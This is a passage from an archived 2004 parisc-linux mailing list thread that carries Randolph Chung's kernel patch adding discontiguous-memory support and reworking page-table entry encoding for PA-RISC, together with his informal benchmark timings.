+++ include/asm-parisc/page.h	9 Jul 2004 04:05:27 -0000
@@ -60,10 +60,15 @@ typedef struct { unsigned long pgprot; }
 #else
 #define pte_flags(x)	((x).flags)
 #endif
-#define pmd_val(x)	((x).pmd)
-#define pgd_val(x)	((x).pgd)
+
+/* These do not work lvalues, so make sure we don't use them as such. */
+#define pmd_val(x)	((x).pmd + 0)
+#define pgd_val(x)	((x).pgd + 0)
 #define pgprot_val(x)	((x).pgprot)
 
+#define __pmd_val_set(x,n) (x).pmd = (n)
+#define __pgd_val_set(x,n) (x).pgd = (n)
+
 #define __pte(x)	((pte_t) { (x) } )
 #define __pmd(x)	((pmd_t) { (x) } )
 #define __pgd(x)	((pgd_t) { (x) } )
@@ -83,12 +88,6 @@ extern __inline__ int get_order(unsigned
 	return order;
 }
 
-#ifdef __LP64__
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
-#else
-#define MAX_PHYSMEM_RANGES 1 /* First range is only range that fits in 32 bits */
-#endif
-
 typedef struct __physmem_range {
 	unsigned long start_pfn;
 	unsigned long pages;       /* PAGE_SIZE pages */
@@ -144,15 +143,16 @@ extern int npmem_ranges;
 #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
 #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
 
+#ifndef CONFIG_DISCONTIGMEM
 #define pfn_to_page(pfn)	(mem_map + (pfn))
 #define page_to_pfn(page)	((unsigned long)((page) - mem_map))
 #define pfn_valid(pfn)		((pfn) < max_mapnr)
+#endif /* CONFIG_DISCONTIGMEM */
+
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
 
-#ifndef CONFIG_DISCONTIGMEM
-#define virt_to_page(kaddr)     (mem_map + (__pa(kaddr) >> PAGE_SHIFT))
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
-#endif  /* !CONFIG_DISCONTIGMEM */
+#define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
+#define virt_to_page(kaddr)     pfn_to_page(__pa(kaddr) >> PAGE_SHIFT)
 
 #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
 				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
Index: include/asm-parisc/pgalloc.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgalloc.h,v
retrieving revision 1.5
diff -u -p -r1.5 pgalloc.h
--- include/asm-parisc/pgalloc.h	2 May 2004 16:16:01 -0000	1.5
+++ include/asm-parisc/pgalloc.h	9 Jul 2004 07:51:18 -0000
@@ -21,7 +21,7 @@
  * kernel for machines with under 4GB of memory) */
 static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 {
-	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL|GFP_DMA,
+	pgd_t *pgd = (pgd_t *)__get_free_pages(GFP_KERNEL,
 					       PGD_ALLOC_ORDER);
 	pgd_t *actual_pgd = pgd;
 
@@ -30,13 +30,15 @@ static inline pgd_t *pgd_alloc(struct mm
 #ifdef __LP64__
 		actual_pgd += PTRS_PER_PGD;
 		/* Populate first pmd with allocated memory.  We mark it
-		 * with _PAGE_GATEWAY as a signal to the system that this
+		 * with PxD_FLAG_ATTACHED as a signal to the system that this
 		 * pmd entry may not be cleared. */
-		pgd_val(*actual_pgd) = (_PAGE_TABLE | _PAGE_GATEWAY) + 
-			(__u32)__pa((unsigned long)pgd);
+		__pgd_val_set(*actual_pgd, (PxD_FLAG_PRESENT | 
+				        PxD_FLAG_VALID | 
+					PxD_FLAG_ATTACHED) 
+			+ (__u32)(__pa((unsigned long)pgd) >> PxD_VALUE_SHIFT));
 		/* The first pmd entry also is marked with _PAGE_GATEWAY as
 		 * a signal that this pmd may not be freed */
-		pgd_val(*pgd) = _PAGE_GATEWAY;
+		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
 #endif
 	}
 	return actual_pgd;
@@ -56,14 +58,13 @@ static inline void pgd_free(pgd_t *pgd)
 
 static inline void pgd_populate(struct mm_struct *mm, pgd_t *pgd, pmd_t *pmd)
 {
-	pgd_val(*pgd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pmd);
+	__pgd_val_set(*pgd, (PxD_FLAG_PRESENT | PxD_FLAG_VALID) +
+		        (__u32)(__pa((unsigned long)pmd) >> PxD_VALUE_SHIFT));
 }
 
-/* NOTE: pmd must be in ZONE_DMA (<4GB) so the pgd pointer can be
- * housed in 32 bits */
 static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT|GFP_DMA,
+	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
 					       PMD_ORDER);
 	if (pmd)
 		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
@@ -73,7 +74,7 @@ static inline pmd_t *pmd_alloc_one(struc
 static inline void pmd_free(pmd_t *pmd)
 {
 #ifdef __LP64__
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
 		/* This is the permanent pmd attached to the pgd;
 		 * cannot free it */
 		return;
@@ -102,23 +103,24 @@ pmd_populate_kernel(struct mm_struct *mm
 #ifdef __LP64__
 	/* preserve the gateway marker if this is the beginning of
 	 * the permanent pmd */
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
-		pmd_val(*pmd) = (_PAGE_TABLE | _PAGE_GATEWAY)
-			+ (__u32)__pa((unsigned long)pte);
+	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
+		__pmd_val_set(*pmd, (PxD_FLAG_PRESENT |
+				 PxD_FLAG_VALID |
+				 PxD_FLAG_ATTACHED) 
+			+ (__u32)(__pa((unsigned long)pte) >> PxD_VALUE_SHIFT));
 	else
 #endif
-		pmd_val(*pmd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pte);
+		__pmd_val_set(*pmd, (PxD_FLAG_PRESENT | PxD_FLAG_VALID) 
+			+ (__u32)(__pa((unsigned long)pte) >> PxD_VALUE_SHIFT));
 }
 
 #define pmd_populate(mm, pmd, pte_page) \
 	pmd_populate_kernel(mm, pmd, page_address(pte_page))
 
-/* NOTE: pte must be in ZONE_DMA (<4GB) so that the pmd pointer
- * can be housed in 32 bits */
 static inline struct page *
 pte_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
+	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT);
 	if (likely(page != NULL))
 		clear_page(page_address(page));
 	return page;
@@ -127,7 +129,7 @@ pte_alloc_one(struct mm_struct *mm, unsi
 static inline pte_t *
 pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 {
-	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
+	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT);
 	if (likely(pte != NULL))
 		clear_page(pte);
 	return pte;
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.13
diff -u -p -r1.13 pgtable.h
--- include/asm-parisc/pgtable.h	1 Jul 2004 20:24:38 -0000	1.13
+++ include/asm-parisc/pgtable.h	7 Jul 2004 04:06:30 -0000
@@ -177,6 +177,21 @@ extern  void *vmalloc_start;
 #define _PAGE_CHG_MASK	(PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY)
 #define _PAGE_KERNEL	(_PAGE_PRESENT | _PAGE_EXEC | _PAGE_READ | _PAGE_WRITE | _PAGE_DIRTY | _PAGE_ACCESSED)
 
+/* The pgd/pmd contains a ptr (in phys addr space); since all pgds/pmds
+ * are page-aligned, we don't care about the PAGE_OFFSET bits, except
+ * for a few meta-information bits, so we shift the address to be
+ * able to effectively address 40-bits of physical address space. */
+#define _PxD_PRESENT_BIT   31
+#define _PxD_ATTACHED_BIT  30
+#define _PxD_VALID_BIT     29
+
+#define PxD_FLAG_PRESENT  (1 << xlate_pabit(_PxD_PRESENT_BIT))
+#define PxD_FLAG_ATTACHED (1 << xlate_pabit(_PxD_ATTACHED_BIT))
+#define PxD_FLAG_VALID    (1 << xlate_pabit(_PxD_VALID_BIT))
+#define PxD_FLAG_MASK     (0xf)
+#define PxD_FLAG_SHIFT    (4)
+#define PxD_VALUE_SHIFT   (8)
+
 #ifndef __ASSEMBLY__
 
 #define PAGE_NONE	__pgprot(_PAGE_PRESENT | _PAGE_USER | _PAGE_ACCESSED)
@@ -244,49 +259,49 @@ extern unsigned long *empty_zero_page;
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
 
+#define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
+#define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
+#define pgd_flag(x)	(pgd_val(x) & PxD_FLAG_MASK)
+#define pgd_address(x)	((unsigned long)(pgd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
+
 #ifdef __LP64__
 /* The first entry of the permanent pmd is not there if it contains
  * the gateway marker */
-#define pmd_none(x)	(!pmd_val(x) || pmd_val(x) == _PAGE_GATEWAY)
-#define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pmd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
+#define pmd_none(x)	(!pmd_val(x) || pmd_flag(x) == PxD_FLAG_ATTACHED)
 #else
 #define pmd_none(x)	(!pmd_val(x))
-#define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #endif
-#define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
+#define pmd_bad(x)	(!(pmd_flag(x) & PxD_FLAG_VALID))
+#define pmd_present(x)	(pmd_flag(x) & PxD_FLAG_PRESENT)
 static inline void pmd_clear(pmd_t *pmd) {
 #ifdef __LP64__
-	if(pmd_val(*pmd) & _PAGE_GATEWAY)
+	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
 		/* This is the entry pointing to the permanent pmd
 		 * attached to the pgd; cannot clear it */
-		pmd_val(*pmd) = _PAGE_GATEWAY;
+		__pmd_val_set(*pmd, PxD_FLAG_ATTACHED);
 	else
 #endif
-		pmd_val(*pmd) = 0;
+		__pmd_val_set(*pmd,  0);
 }
 
 
 
 #if PT_NLEVELS == 3
-#define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
+#define pgd_page(pgd) ((unsigned long) __va(pgd_address(pgd)))
 
 /* For 64 bit we have three level tables */
 
 #define pgd_none(x)     (!pgd_val(x))
-#ifdef __LP64__
-#define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE && (pgd_val(x) & ~PAGE_MASK) != (_PAGE_TABLE | _PAGE_GATEWAY))
-#else
-#define pgd_bad(x)      ((pgd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
-#endif
-#define pgd_present(x)  (pgd_val(x) & _PAGE_PRESENT)
+#define pgd_bad(x)      (!(pgd_flag(x) & PxD_FLAG_VALID))
+#define pgd_present(x)  (pgd_flag(x) & PxD_FLAG_PRESENT)
 static inline void pgd_clear(pgd_t *pgd) {
 #ifdef __LP64__
-	if(pgd_val(*pgd) & _PAGE_GATEWAY)
+	if(pgd_flag(*pgd) & PxD_FLAG_ATTACHED)
 		/* This is the permanent pmd attached to the pgd; cannot
 		 * free it */
 		return;
 #endif
-	pgd_val(*pgd) = 0;
+	__pgd_val_set(*pgd, 0);
 }
 #else
 /*
@@ -353,15 +368,11 @@ extern inline pte_t pte_modify(pte_t pte
 
 #define pte_pfn(x) (pte_val(x) >> PAGE_SHIFT)
 
-#ifdef CONFIG_DISCONTIGMEM
-#define pte_page(x) (phys_to_page(pte_val(x)))
-#else
-#define pte_page(x) (mem_map+(pte_val(x) >> PAGE_SHIFT))
-#endif
+#define pte_page(pte)		(pfn_to_page(pte_pfn(pte)))
 
-#define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
+#define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_address(pmd)))
 
-#define __pmd_page(pmd) ((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
+#define __pmd_page(pmd) ((unsigned long) __va(pmd_address(pmd)))
 #define pmd_page(pmd)	virt_to_page((void *)__pmd_page(pmd))
 
 #define pgd_index(address) ((address) >> PGDIR_SHIFT)
--- include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
+++ include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
@@ -0,0 +1,9 @@
+#ifndef _ASM_MAX_NUMNODES_H
+#define _ASM_MAX_NUMNODES_H
+
+#include <linux/config.h>
+
+/* Max 8 Nodes */
+#define NODES_SHIFT	3
+
+#endif /* _ASM_MAX_NUMNODES_H */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_DISCONTIGMEM, try 2
Date: Fri, 9 Jul 2004 10:23:38 -0700
Lines: 1049
Approved: news@gmane.org
Message-ID: <20040709172338.GI546@tausq.org>
References: <20040706071459.GA567@tausq.org>
	<1089136958.1767.534.camel@mulgrave>
	<20040709080341.GG546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623494 10121 80.91.229.3 (22 Nov 2014 02:31:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:34 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3700 invoked by uid 65534); 9 Jul 2004 17:24:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 09 Jul 2004 19:24:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 85E3F3BDEE; Fri,  9 Jul 2004 11:24:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18367-09; Fri, 9 Jul 2004 11:24:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B19963BDD5; Fri,  9 Jul 2004 11:23:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFAA63BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jul 2004 11:23:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17508-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Jul 2004 11:23:37 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 84CFB3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jul 2004 11:23:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7096BCD299; Fri,  9 Jul 2004 10:23:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040709080341.GG546@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21788

Things are much clearer after some sleep :) This version should fix the
problem with crashes seen on b2k/c3k and CONFIG_DISCONTIGMEM. Also made
a small optimization to the fault handler.

Here are some not-very-scientific measurements of the patch:

c3750 (875MHz), 32-bit kernel, 1.5GB phys mem

with CONFIG_DISCONTIGMEM=y
allocate 1GB memory (1MB at a time), touch every page
./memtest 1024  0.09s user 3.35s system 98% cpu 3.507 total
./memtest 1024  0.11s user 3.37s system 98% cpu 3.522 total
./memtest 1024  0.10s user 3.37s system 98% cpu 3.526 total
./memtest 1024  0.10s user 3.36s system 97% cpu 3.534 total
./memtest 1024  0.08s user 3.38s system 98% cpu 3.525 total

'time make clean vmlinux' on a 2.6 tree:
make clean vmlinux  384.32s user 60.74s system 97% cpu 7:36.75 total

without CONFIG_DISCONTIGMEM=y
./memtest 1024  0.08s user 3.32s system 97% cpu 3.481 total
./memtest 1024  0.11s user 3.32s system 97% cpu 3.509 total
./memtest 1024  0.10s user 3.36s system 98% cpu 3.509 total
./memtest 1024  0.09s user 3.34s system 97% cpu 3.510 total
./memtest 1024  0.11s user 3.33s system 98% cpu 3.504 total

'time make clean vmlinux' on a 2.6 tree:
make clean vmlinux  383.96s user 59.70s system 98% cpu 7:30.89 total

hard to say whether the difference is just regular experimental
variance... but they seem to be quite small (~1%). however the overall 
time for memtest seems to be quite large, compared to other
similar clock-rate systems...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.19
diff -u -p -r1.19 Kconfig
--- arch/parisc/Kconfig	1 Jul 2004 18:30:36 -0000	1.19
+++ arch/parisc/Kconfig	3 Jul 2004 06:55:49 -0000
@@ -136,6 +136,15 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config DISCONTIGMEM
+	bool "Discontiguous memory support (EXPERIMENTAL)"
+	depends on EXPERIMENTAL
+	help
+	  Say Y to support efficient handling of discontiguous physical memory,
+	  for architectures which are either NUMA (Non-Uniform Memory Access)
+	  or have huge holes in the physical address space for other reasons.
+	  See <file:Documentation/vm/numa> for more.
+
 config PREEMPT
 	bool
 #	bool "Preemptible Kernel"
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.17
diff -u -p -r1.17 cache.c
--- arch/parisc/kernel/cache.c	30 May 2004 18:57:23 -0000	1.17
+++ arch/parisc/kernel/cache.c	3 Jul 2004 06:55:49 -0000
@@ -69,7 +69,7 @@ update_mmu_cache(struct vm_area_struct *
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page_mapping(page) &&
+	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page_address(page));
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.14
diff -u -p -r1.14 entry.S
--- arch/parisc/kernel/entry.S	2 May 2004 16:16:01 -0000	1.14
+++ arch/parisc/kernel/entry.S	9 Jul 2004 16:35:52 -0000
@@ -455,20 +455,28 @@
 	/* Look up a PTE in a 2-Level scheme (faulting at each
 	 * level if the entry isn't present 
 	 *
-	 * NOTE: we use ldw even for LP64 because our pte
-	 * and pmd are allocated <4GB */
+	 * NOTE: we use ldw even for LP64, since the short pointers
+	 * can address up to 1TB
+	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
 	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
 	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
+	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
+	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	copy		\pmd,%r9
+#ifdef __LP64__
+	shld		%r9,PxD_VALUE_SHIFT,\pmd
+#else
+	shlw		%r9,PxD_VALUE_SHIFT,\pmd
+#endif
 	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	bb,>=,n		\pmd,_PAGE_PRESENT_BIT,\fault
-	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
+	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -486,13 +494,16 @@
 	 * under 4GB of memory) */
 	.macro		L3_ptep pgd,pte,index,va,fault
 	extrd,u		\va,63-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
-	copy		%r0,\pte
 	extrd,u,*=	\va,31,32,%r0
 	ldw,s		\index(\pgd),\pgd
+	extrd,u,*=	\va,31,32,%r0
+	bb,>=,n		\pgd,_PxD_PRESENT_BIT,\fault
+	extrd,u,*=	\va,31,32,%r0
+	shld		\pgd,PxD_VALUE_SHIFT,\index
+	extrd,u,*=	\va,31,32,%r0
+	copy		\index,\pgd
 	extrd,u,*<>	\va,31,32,%r0
 	ldo		ASM_PGD_PMD_OFFSET(\pgd),\pgd
-	extrd,u,*=	\va,31,32,%r0
-	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.6
diff -u -p -r1.6 head.S
--- arch/parisc/kernel/head.S	8 May 2004 14:12:45 -0000	1.6
+++ arch/parisc/kernel/head.S	9 Jul 2004 07:44:31 -0000
@@ -76,7 +76,8 @@ $bss_loop:
 	/* Initialize startup VM. Just map first 8 MB of memory */
 	ldil		L%PA(pg0),%r1
 	ldo		R%PA(pg0)(%r1),%r1
-	ldo		_PAGE_TABLE(%r1),%r3
+	shr		%r1,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 
 	ldil		L%PA(swapper_pg_dir),%r4
 	ldo		R%PA(swapper_pg_dir)(%r4),%r4
@@ -86,7 +87,7 @@ $bss_loop:
 	ldo		ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4),%r4
 1:
 	stw             %r3,0(%r4)
-	ldo		ASM_PAGE_SIZE(%r3),%r3
+	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
 	ldo		ASM_PGD_ENTRY_SIZE(%r4),%r4
 
Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.9
diff -u -p -r1.9 head64.S
--- arch/parisc/kernel/head64.S	8 May 2004 14:12:45 -0000	1.9
+++ arch/parisc/kernel/head64.S	7 Jul 2004 05:41:57 -0000
@@ -80,7 +80,8 @@ $bss_loop:
 
 	ldil		L%PA(pmd0),%r5
 	ldo		R%PA(pmd0)(%r5),%r5
-	ldo		_PAGE_TABLE(%r5),%r3
+	shrd		%r5,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 
 	ldil		L%PA(swapper_pg_dir),%r4
 	ldo		R%PA(swapper_pg_dir)(%r4),%r4
@@ -90,16 +91,17 @@ $bss_loop:
 
 	stw             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
 
-	ldo		_PAGE_TABLE(%r1),%r3
+	shrd		%r1,PxD_VALUE_SHIFT,%r3
+	ldo		(PxD_FLAG_PRESENT+PxD_FLAG_VALID)(%r3),%r3
 	ldo		ASM_PMD_ENTRY*ASM_PMD_ENTRY_SIZE(%r5),%r5
 	ldi		ASM_PT_INITIAL,%r1
 1:
 	stw		%r3,0(%r5)
-	ldo		ASM_PAGE_SIZE(%r3),%r3
+	ldo		(ASM_PAGE_SIZE >> PxD_VALUE_SHIFT)(%r3),%r3
 	addib,>		-1,%r1,1b
 	ldo		ASM_PMD_ENTRY_SIZE(%r5),%r5
 
-	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
+	ldo             _PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 	ldil		L%PA(pg0),%r1
 	ldo		R%PA(pg0)(%r1),%r1
 
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.5
diff -u -p -r1.5 inventory.c
--- arch/parisc/kernel/inventory.c	4 Jun 2004 19:36:53 -0000	1.5
+++ arch/parisc/kernel/inventory.c	4 Jul 2004 17:46:52 -0000
@@ -25,6 +25,7 @@
 #include <linux/mm.h>
 #include <asm/hardware.h>
 #include <asm/io.h>
+#include <asm/mmzone.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
 #include <asm/processor.h>
Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.16
diff -u -p -r1.16 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c	6 Mar 2004 14:43:46 -0000	1.16
+++ arch/parisc/kernel/parisc_ksyms.c	5 Jul 2004 21:53:23 -0000
@@ -173,3 +173,9 @@ EXPORT_SYMBOL(__moddi3);
 extern void $$dyncall(void);
 EXPORT_SYMBOL($$dyncall);
 #endif
+
+#ifdef CONFIG_DISCONTIGMEM
+#include <asm/mmzone.h>
+EXPORT_SYMBOL(node_data);
+EXPORT_SYMBOL(pfnnid_map);
+#endif
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.6
diff -u -p -r1.6 init.c
--- arch/parisc/mm/init.c	24 May 2004 00:58:49 -0000	1.6
+++ arch/parisc/mm/init.c	9 Jul 2004 15:58:45 -0000
@@ -5,6 +5,7 @@
  *  Copyright 1999 SuSE GmbH
  *    changed by Philipp Rumpf
  *  Copyright 1999 Philipp Rumpf (prumpf@tux.org)
+ *  Copyright 2004 Randolph Chung (tausq@debian.org)
  *
  */
 
@@ -23,6 +24,7 @@
 #include <asm/pgalloc.h>
 #include <asm/tlb.h>
 #include <asm/pdc_chassis.h>
+#include <asm/mmzone.h>
 
 DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
@@ -32,10 +34,11 @@ extern char _end;	/* end of BSS, defined
 extern char __init_begin, __init_end;
 
 #ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_PHYSMEM_RANGES];
-bootmem_data_t bmem_data[MAX_PHYSMEM_RANGES];
-unsigned char *chunkmap;
-unsigned int maxchunkmap;
+struct node_map_data node_data[MAX_NUMNODES];
+bootmem_data_t bmem_data[MAX_NUMNODES];
+
+/* Support up to 512GB of physical address space */
+unsigned char pfnnid_map[512];
 #endif
 
 static struct resource data_resource = {
@@ -119,21 +122,6 @@ static void __init setup_bootmem(void)
 
 	disable_sr_hashing(); /* Turn off space register hashing */
 
-#ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * The below is still true as of 2.4.2. If this is ever fixed,
-	 * we can remove this warning!
-	 */
-
-	printk(KERN_WARNING "\n\n");
-	printk(KERN_WARNING "CONFIG_DISCONTIGMEM is enabled, which is probably a mistake. This\n");
